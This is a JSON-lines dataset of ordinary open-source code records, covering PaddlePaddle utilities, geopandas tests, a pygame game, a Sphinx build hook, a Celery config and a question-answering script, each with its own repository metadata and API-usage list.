"line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueView", "line_number": 13, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueView.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueView", "line_number": 14, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueMinListView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueMinListView", "line_number": 16, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueMinUpdateView.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.VueMinUpdateView", "line_number": 17, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView.as_view", "line_number": 20, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.HTMXListView.as_view", "line_number": 22, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.HTMXListView", "line_number": 22, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.HTMXDetailView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.HTMXDetailView", "line_number": 23, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.HTMXUpdateView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.HTMXUpdateView", "line_number": 24, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 24, "usage_type": "name"}]} {"seq_id": "30603012876", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport distutils.util\nimport numpy as np\nimport six\nimport collections\nfrom collections import deque\nimport datetime\nfrom paddle.fluid import core\nimport argparse\nimport functools\nfrom config import *\nimport paddle.fluid as fluid\n\n\ndef print_arguments(args):\n \"\"\"Print argparse's arguments.\n\n Usage:\n\n .. code-block:: python\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"name\", default=\"Jonh\", type=str, help=\"User name.\")\n args = parser.parse_args()\n print_arguments(args)\n\n :param args: Input argparse.Namespace for printing.\n :type args: argparse.Namespace\n \"\"\"\n print(\"----------- Configuration Arguments -----------\")\n for arg, value in sorted(six.iteritems(vars(args))):\n print(\"%s: %s\" % (arg, value))\n print(\"------------------------------------------------\")\n\n\ndef add_arguments(argname, type, default, help, argparser, **kwargs):\n \"\"\"Add argparse's argument.\n\n Usage:\n\n .. code-block:: python\n\n parser = argparse.ArgumentParser()\n add_argument(\"name\", str, \"Jonh\", \"User name.\", parser)\n args = parser.parse_args()\n \"\"\"\n type = distutils.util.strtobool if type == bool else type\n argparser.add_argument(\n \"--\" + argname,\n default=default,\n type=type,\n help=help + ' Default: %(default)s.',\n **kwargs)\n\n\nclass SmoothedValue(object):\n \"\"\"Track a series of values and provide access to smoothed values over a\n window or the global series average.\n \"\"\"\n\n def __init__(self, window_size):\n self.deque = deque(maxlen=window_size)\n\n def add_value(self, value):\n self.deque.append(value)\n\n def get_median_value(self):\n return np.median(self.deque)\n\n\ndef now_time():\n return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')\n\n\nclass TrainingStats(object):\n def __init__(self, window_size, stats_keys):\n self.smoothed_losses_and_metrics = {\n key: SmoothedValue(window_size)\n for key in stats_keys\n }\n\n def update(self, stats):\n for k, v in self.smoothed_losses_and_metrics.items():\n v.add_value(stats[k])\n\n def get(self, extras=None):\n stats = collections.OrderedDict()\n if extras:\n for k, v in extras.items():\n stats[k] = v\n for k, v in self.smoothed_losses_and_metrics.items():\n stats[k] = round(v.get_median_value(), 3)\n\n return stats\n\n def log(self, extras=None):\n d = self.get(extras)\n strs = ', '.join(str(dict({x: y})).strip('{}') for x, y in d.items())\n return strs\n\n\ndef parse_args():\n \"\"\"return all args\n \"\"\"\n parser = argparse.ArgumentParser(description=__doc__)\n add_arg = functools.partial(add_arguments, argparser=parser)\n # yapf: disable\n # ENV\n add_arg('parallel', bool, False, \"Whether use parallel.\")\n add_arg('use_gpu', bool, True, \"Whether use GPU.\")\n add_arg('model_save_dir', str, 'output', \"The path to save model.\")\n add_arg('pretrained_model', str, None, \"The init model path.\")\n add_arg('resume_model', str, None, \"The init model path.\")\n add_arg('dataset', str, 'coco2017', \"coco2014, coco2017.\")\n add_arg('class_num', int, 81, \"Class number.\")\n add_arg('data_dir', str, '/home/ai/dataset/COCO17', \"The data root path.\")\n add_arg('use_pyreader', bool, True, \"Use pyreader.\")\n add_arg('use_profile', bool, False, \"Whether use profiler.\")\n add_arg('padding_minibatch',bool, False,\n \"If False, only resize image and not pad, image shape is different between\"\n \" GPUs in one mini-batch. If True, image shape is the same in one mini-batch.\")\n #SOLVER\n add_arg('learning_rate', float, 0.01, \"Learning rate.\")\n add_arg('max_iter', int, 180000, \"Iter number.\")\n add_arg('log_window', int, 20, \"Log smooth window, set 1 for debug, set 20 for train.\")\n # RCNN\n # RPN\n add_arg('anchor_sizes', int, [32,64,128,256,512], \"The size of anchors.\")\n add_arg('aspect_ratios', float, [0.5,1.0,2.0], \"The ratio of anchors.\")\n add_arg('variance', float, [1.,1.,1.,1.], \"The variance of anchors.\")\n add_arg('rpn_stride', float, [16.,16.], \"Stride of the feature map that RPN is attached.\")\n add_arg('rpn_nms_thresh', float, 0.7, \"NMS threshold used on RPN proposals\")\n # TRAIN VAL INFER\n add_arg('MASK_ON', bool, False, \"Option for different models. If False, choose faster_rcnn. If True, choose mask_rcnn\")\n add_arg('im_per_batch', int, 1, \"Minibatch size.\")\n add_arg('max_size', int, 1333, \"The resized image height.\")\n add_arg('scales', int, [800], \"The resized image height.\")\n add_arg('batch_size_per_im',int, 512, \"fast rcnn head batch size\")\n add_arg('pixel_means', float, [102.9801, 115.9465, 122.7717], \"pixel mean\")\n add_arg('nms_thresh', float, 0.5, \"NMS threshold.\")\n add_arg('score_thresh', float, 0.05, \"score threshold for NMS.\")\n add_arg('snapshot_stride', int, 10000, \"save model every snapshot stride.\")\n # SINGLE EVAL AND DRAW\n add_arg('draw_threshold', float, 0.8, \"Confidence threshold to draw bbox.\")\n add_arg('image_path', str, 'dataset/coco/val2017', \"The image path used to inference and visualize.\")\n add_arg('roi_func', str, 'RoIPool', \"roi extractor type: RoIPool, RoIAlign\")\n # ce\n parser.add_argument(\n '--enable_ce', action='store_true', help='If set, run the task with continuous evaluation logs.')\n # yapf: enable\n args = parser.parse_args()\n file_name = sys.argv[0]\n if 'train' in file_name or 'profile' in file_name:\n merge_cfg_from_args(args, 'train')\n else:\n merge_cfg_from_args(args, 'val')\n return args\n\n\ndef check_gpu(use_gpu):\n \"\"\"\n Log error and exit when set use_gpu=true in paddlepaddle\n cpu version.\n \"\"\"\n err = \"Config use_gpu cannot be set as true while you are \" \\\n \"using paddlepaddle cpu version ! \\nPlease try: \\n\" \\\n \"\\t1. Install paddlepaddle-gpu to run model on GPU \\n\" \\\n \"\\t2. Set use_gpu as false in config file to run \" \\\n \"model on CPU\"\n\n try:\n if use_gpu and not fluid.is_compiled_with_cuda():\n logger.error(err)\n sys.exit(1)\n except Exception as e:\n pass\n", "repo_name": "PaddleToturial-v2/DeepLearningAndPaddleTutorial-v2", "sub_path": "lesson10/rcnn/utility.py", "file_name": "utility.py", "file_ext": "py", "file_size_in_byte": 6676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "7", "api": [{"api_name": "six.iteritems", "line_number": 34, "usage_type": "call"}, {"api_name": "distutils.util.util", "line_number": 50, "usage_type": "attribute"}, {"api_name": "distutils.util", "line_number": 50, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 75, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 90, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 108, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 109, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 155, "usage_type": "attribute"}, {"api_name": "paddle.fluid.is_compiled_with_cuda", "line_number": 175, "usage_type": "call"}, {"api_name": "paddle.fluid", "line_number": 175, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 177, "usage_type": "call"}]} {"seq_id": "17218116259", "text": "import sys\n\nfrom shapely.geometry import Polygon, Point\n\nimport geopandas\nfrom geopandas import GeoSeries, GeoDataFrame, base, read_file\n\nimport pytest\n\n\n@pytest.mark.skipif(sys.platform.startswith(\"win\"), reason=\"fails on AppVeyor\")\n@pytest.mark.skipif(not base.HAS_SINDEX, reason='Rtree absent, skipping')\nclass TestSeriesSindex:\n\n def test_empty_index(self):\n assert GeoSeries().sindex is None\n\n def test_point(self):\n s = GeoSeries([Point(0, 0)])\n assert s.sindex.size == 1\n hits = s.sindex.intersection((-1, -1, 1, 1))\n assert len(list(hits)) == 1\n hits = s.sindex.intersection((-2, -2, -1, -1))\n assert len(list(hits)) == 0\n\n def test_empty_point(self):\n s = GeoSeries([Point()])\n assert s.sindex is None\n assert s._sindex_generated is True\n\n def test_empty_geo_series(self):\n assert GeoSeries().sindex is None\n\n def test_polygons(self):\n t1 = Polygon([(0, 0), (1, 0), (1, 1)])\n t2 = Polygon([(0, 0), (1, 1), (0, 1)])\n sq = Polygon([(0, 0), (1, 0), (1, 1), (0, 1)])\n s = GeoSeries([t1, t2, sq])\n assert s.sindex.size == 3\n\n def test_polygons_append(self):\n t1 = Polygon([(0, 0), (1, 0), (1, 1)])\n t2 = Polygon([(0, 0), (1, 1), (0, 1)])\n sq = Polygon([(0, 0), (1, 0), (1, 1), (0, 1)])\n s = GeoSeries([t1, t2, sq])\n t = GeoSeries([t1, t2, sq], [3, 4, 5])\n s = s.append(t)\n assert len(s) == 6\n assert s.sindex.size == 6\n\n def test_lazy_build(self):\n s = GeoSeries([Point(0, 0)])\n assert s._sindex is None\n assert s.sindex.size == 1\n assert s._sindex is not None\n\n\n@pytest.mark.skipif(sys.platform.startswith(\"win\"), reason=\"fails on AppVeyor\")\n@pytest.mark.skipif(not base.HAS_SINDEX, reason='Rtree absent, skipping')\nclass TestFrameSindex:\n def setup_method(self):\n data = {\"A\": range(5), \"B\": range(-5, 0),\n \"location\": [Point(x, y) for x, y in zip(range(5), range(5))]}\n self.df = GeoDataFrame(data, geometry='location')\n\n def test_sindex(self):\n self.df.crs = {'init': 'epsg:4326'}\n assert self.df.sindex.size == 5\n hits = list(self.df.sindex.intersection((2.5, 2.5, 4, 4),\n objects=True))\n assert len(hits) == 2\n assert hits[0].object == 3\n\n def test_lazy_build(self):\n assert self.df._sindex is None\n assert self.df.sindex.size == 5\n assert self.df._sindex is not None\n\n def test_sindex_rebuild_on_set_geometry(self):\n # First build the sindex\n assert self.df.sindex is not None\n self.df.set_geometry(\n [Point(x, y) for x, y in zip(range(5, 10), range(5, 10))],\n inplace=True)\n assert self.df._sindex_generated is False\n\n\n# Skip to accommodate Shapely geometries being unhashable\n@pytest.mark.skip\nclass TestJoinSindex:\n\n def setup_method(self):\n nybb_filename = geopandas.datasets.get_path('nybb')\n self.boros = read_file(nybb_filename)\n\n def test_merge_geo(self):\n # First check that we gets hits from the boros frame.\n tree = self.boros.sindex\n hits = tree.intersection((1012821.80, 229228.26), objects=True)\n res = [self.boros.loc[hit.object]['BoroName'] for hit in hits]\n assert res == ['Bronx', 'Queens']\n\n # Check that we only get the Bronx from this view.\n first = self.boros[self.boros['BoroCode'] < 3]\n tree = first.sindex\n hits = tree.intersection((1012821.80, 229228.26), objects=True)\n res = [first.loc[hit.object]['BoroName'] for hit in hits]\n assert res == ['Bronx']\n\n # Check that we only get Queens from this view.\n second = self.boros[self.boros['BoroCode'] >= 3]\n tree = second.sindex\n hits = tree.intersection((1012821.80, 229228.26), objects=True)\n res = [second.loc[hit.object]['BoroName'] for hit in hits],\n assert res == ['Queens']\n\n # Get both the Bronx and Queens again.\n merged = first.merge(second, how='outer')\n assert len(merged) == 5\n assert merged.sindex.size == 5\n tree = merged.sindex\n hits = tree.intersection((1012821.80, 229228.26), objects=True)\n res = [merged.loc[hit.object]['BoroName'] for hit in hits]\n assert res == ['Bronx', 'Queens']\n", "repo_name": "stiles/notebooks", "sub_path": "lapd-crimes-arrests/notebook/lib/python3.7/site-packages/geopandas/tests/test_sindex.py", "file_name": "test_sindex.py", "file_ext": "py", "file_size_in_byte": 4394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "7", "api": [{"api_name": "geopandas.GeoSeries", "line_number": 16, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 19, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 19, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 27, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 27, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 32, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 35, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 36, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 37, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 38, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 42, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 43, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 44, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 45, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 46, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 52, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 11, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.platform.startswith", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "geopandas.base.HAS_SINDEX", "line_number": 12, "usage_type": "attribute"}, {"api_name": "geopandas.base", "line_number": 12, "usage_type": "name"}, {"api_name": "shapely.geometry.Point", "line_number": 63, "usage_type": "call"}, {"api_name": "geopandas.GeoDataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 83, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 58, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 58, "usage_type": "attribute"}, {"api_name": "sys.platform.startswith", "line_number": 58, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 59, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 59, "usage_type": "attribute"}, {"api_name": "geopandas.base.HAS_SINDEX", "line_number": 59, "usage_type": "attribute"}, {"api_name": "geopandas.base", "line_number": 59, "usage_type": "name"}, {"api_name": "geopandas.datasets.get_path", "line_number": 93, "usage_type": "call"}, {"api_name": "geopandas.datasets", "line_number": 93, "usage_type": "attribute"}, {"api_name": "geopandas.read_file", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 89, "usage_type": "attribute"}]} {"seq_id": "72797408571", "text": "import pygame\nfrom pygame.locals import *\nfrom player import Player\nfrom monster import Monster\n\n\n\nclass Game:\n\n def __init__(self):\n # initialise les modules de pygame\n pygame.init()\n Game.screen = pygame.display.set_mode((1080, 600))\n\n # fps \n self.clock = pygame.time.Clock()\n\n # fond d'écran du jeu\n self.background = pygame.image.load('assets/bg.jpg')\n\n # importer notre bannière\n self.banner = pygame.image.load('assets/banner.png')\n self.banner = pygame.transform.scale(self.banner, (500, 500))\n self.banner_rect = self.banner.get_rect()\n self.banner_rect.x = 1080 // 4\n\n # charger notre bouton\n self.play_button = pygame.image.load('assets/button.png')\n self.play_button = pygame.transform.scale(self.play_button, (400, 150))\n self.button_rect = self.play_button.get_rect()\n self.button_rect.center = self.banner_rect.center\n self.button_rect.y = self.banner_rect.y + 360\n\n\n # run\n self.running = True\n\n # status du jeu\n self.is_playing = False\n\n # groupe de player\n self.all_players = pygame.sprite.Group()\n\n # player\n self.player = Player(self)\n self.all_players.add(self.player)\n\n # groupe de monstres\n self.all_monsters = pygame.sprite.Group()\n \n\n # raccourcis de touche\n self.pressed = {}\n \n def spawn_monster(self):\n self.all_monsters.add(Monster(self))\n\n\n def check_collison(self, sprite, group):\n return pygame.sprite.spritecollide(sprite, group, False, pygame.sprite.collide_mask)\n\n def start(self):\n self.spawn_monster()\n self.spawn_monster()\n self.is_playing = True\n \n def game_over(self):\n # remettre le jeu à neuf\n self.all_monsters = pygame.sprite.Group()\n self.player.health = self.player.max_health\n self.is_playing = False\n\n def update(self):\n # charger le joueur\n Game.screen.blit(self.player.image, self.player.rect)\n\n\n # jauge de vie player\n self.player.update_health_bar(Game.screen)\n\n # mise à jour des projectiles\n self.player.all_projectiles.update()\n\n # mise à jour des monstres\n self.all_monsters.update()\n\n # appliquer les projectiles\n self.player.all_projectiles.draw(Game.screen)\n\n # appliquer les monstres\n self.all_monsters.draw(Game.screen)\n\n # déplacements du joueur\n if self.pressed.get(K_RIGHT):\n self.player.move_right()\n elif self.pressed.get(K_LEFT):\n self.player.move_left()\n \n\n def run(self):\n while self.running:\n # fps\n self.clock.tick(60)\n\n # background\n Game.screen.blit(self.background, (0, 0))\n\n \n\n # vérifier si le jeu a démarré\n if self.is_playing:\n self.update()\n else:\n\n # button\n Game.screen.blit(self.play_button, self.button_rect)\n\n # banner \n Game.screen.blit(self.banner, self.banner_rect)\n\n # mise à jour\n pygame.display.flip()\n\n # gestion des évenements\n for event in pygame.event.get():\n if event.type == QUIT:\n self.running = False\n \n if event.type == KEYDOWN:\n self.pressed[event.key] = True\n\n # détecter si la touche espace est enfoncée pour lancer une projectile\n if event.key == K_SPACE:\n self.player.launch_projectile()\n if event.type == KEYUP:\n self.pressed[event.key] = False\n\n elif event.type == MOUSEBUTTONDOWN:\n # vérifier que si le bouton est en collision avec la souris\n if self.button_rect.collidepoint(event.pos):\n # mettre le jeu lancé\n self.start()\n\n\nif __name__ == '__main__':\n Game().run()", "repo_name": "bayeassane/pygame", "sub_path": "Games/Shooter/game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 4135, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 42, "usage_type": "attribute"}, {"api_name": "player.Player", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.sprite.Group", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 49, "usage_type": "attribute"}, {"api_name": "monster.Monster", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 60, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 122, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 125, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 125, "usage_type": "attribute"}]} {"seq_id": "15278438019", "text": "import os\n\nfrom sphinx.util import logging\nfrom sphinx.util.console import bold\n\nDIRS = {\n '_static': 'static',\n '_sources': 'sources',\n}\nFILES = {\n # Added in Sphinx 5.0.0, scheduled to be removed in Sphinx 6\n 'static/_sphinx_javascript_frameworks_compat.js': 'static/sphinx_javascript_frameworks_compat.js', # noqa: E501\n}\nREWRITE_EXTENSIONS = {'.html', '.js'}\n\n\ndef remove_path_underscores(app, exception):\n if exception:\n return\n # Get logger\n logger = logging.getLogger(__name__)\n logger.info(bold('fixing pathnames... '), nonl=True)\n # Rewrite references in HTML/JS files\n for dirpath, _, filenames in os.walk(app.outdir):\n for filename in filenames:\n _, ext = os.path.splitext(filename)\n if ext in REWRITE_EXTENSIONS:\n path = os.path.join(dirpath, filename)\n with open(path, encoding='utf-8') as fh:\n contents = fh.read()\n for old, new in DIRS.items():\n contents = contents.replace(old + '/', new + '/')\n for old, new in FILES.items():\n contents = contents.replace(old, new)\n with open(path, 'w', encoding='utf-8') as fh:\n fh.write(contents)\n # Move directory contents\n for old, new in DIRS.items():\n olddir = os.path.join(app.outdir, old)\n newdir = os.path.join(app.outdir, new)\n if not os.path.exists(newdir):\n os.mkdir(newdir)\n if os.path.isdir(olddir):\n for filename in os.listdir(olddir):\n oldfile = os.path.join(olddir, filename)\n newfile = os.path.join(newdir, filename)\n os.rename(oldfile, newfile)\n os.rmdir(olddir)\n # Move files\n for old, new in FILES.items():\n oldfile = os.path.join(app.outdir, old)\n newfile = os.path.join(app.outdir, new)\n if os.path.isfile(oldfile):\n os.rename(oldfile, newfile)\n logger.info('done')\n\n\ndef setup(app):\n app.connect('build-finished', remove_path_underscores)\n", "repo_name": "openslide/openslide-python", "sub_path": "doc/jekyll_fix.py", "file_name": "jekyll_fix.py", "file_ext": "py", "file_size_in_byte": 2087, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 340, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sphinx.util.logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "sphinx.util.logging", "line_number": 21, "usage_type": "name"}, {"api_name": "sphinx.util.console.bold", "line_number": 22, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 47, "usage_type": "call"}, {"api_name": "os.rmdir", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 54, "usage_type": "call"}]} {"seq_id": "72946819133", "text": "import os\nfrom celery import Celery\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'olive_app.settings.productions')\n\napp = Celery('olive_app')\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.conf.broker_heartbeat=0\napp.autodiscover_tasks()\n\n# import os\n# os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'saas_vbp.settings')\n\n# from django.conf import settings\n\n# from tenant_schemas_celery.app import CeleryApp\n\n# app = CeleryApp()\n# app.config_from_object('django.conf:settings')\n# app.conf.broker_heartbeat=0\n# app.autodiscover_tasks(lambda: settings.INSTALLED_APPS)", "repo_name": "ldonjibson/olive", "sub_path": "olive_app/celery.py", "file_name": "celery.py", "file_ext": "py", "file_size_in_byte": 594, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ.setdefault", "line_number": 4, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "celery.Celery", "line_number": 6, "usage_type": "call"}]} {"seq_id": "12532615143", "text": "import nltk\nfrom nltk.parse import CoreNLPParser \nfrom stanfordcorenlp import StanfordCoreNLP\nfrom nltk.tree import Tree\nfrom WhyHow import is_how, reason_cause\nfrom Who import is_who, get_who\nfrom LocTime import is_where, is_time \nfrom HowMany import is_howmany\nfrom BinQ import getBinQ\nimport What\nimport spacy\nfrom spacy.lemmatizer import Lemmatizer\nfrom spacy.lang.en import LEMMA_INDEX, LEMMA_EXC, LEMMA_RULES, English\nimport sys\nimport matching\nfrom SynAnt import answerBinQ\nfrom careerstat import getSentences, answerStats\n\nparser = StanfordCoreNLP(r'stanford-corenlp-full-2018-02-27')\nlem = Lemmatizer(LEMMA_INDEX, LEMMA_EXC, LEMMA_RULES)\n\ndef rem_parens(sent):\n\treturn sent.replace('-LRB- ', '(').replace(' -RRB-', ')').replace(\" ,\", \",\").replace( \" '\", \"'\")\n\ndef cap(sent):\n\treturn sent[0].upper() + sent[1:]\n\ndef main(questions, matches, path):\n spacy_nlp = spacy.load('en')\n clubs, intl, indvl, pfmcs, name, sentences = getSentences(path)\n for i in range(len(matches)):\n tokens = nltk.word_tokenize(questions[i])\n if len(tokens) < 2:\n print(matches[i])\n continue\n keyword = tokens[0]\n keyword_lower = keyword[0].lower() + keyword[1:]\n keyword1 = tokens[1]\n keyword1_lower = keyword1[0].lower() + keyword1[1:]\n #parser.tagtype = 'pos'\n try:\n [(w, keywordpos)] = parser.pos_tag(keyword)\n except:\n print(matches[i])\n continue\n sent = matches[i]\n try:\n const_tree1 = Tree.fromstring(parser.parse(sent))[0]\n const_tree2 = const_tree1.copy(deep=True)\n const_tree3 = const_tree1.copy(deep=True)\n const_tree4 = const_tree1.copy(deep=True)\n const_tree5 = const_tree1.copy(deep=True)\n const_tree6 = const_tree1.copy(deep=True)\n const_tree7 = const_tree1.copy(deep=True)\n except Exception as e:\n print(matches[i])\n continue\n try:\n nertags = parser.ner(sent)\n except Exception as e:\n nertags = []\n s1 = spacy_nlp(sent) \n for w in s1:\n nertags.append((str(w), w.ent_type_))\n statsA = answerStats(clubs, intl, indvl, pfmcs, sentences, questions[i])\n try:\n if statsA:\n print(statsA)\n continue\n (t1, whereA) = is_where(const_tree1, nertags, True)\n if (keyword_lower == \"where\" and whereA != None): \n print(cap(rem_parens(whereA)))\n continue\n (t2, whenA) = is_time(const_tree2, nertags, True)\n if (keyword_lower == \"when\" and whenA != None):\n 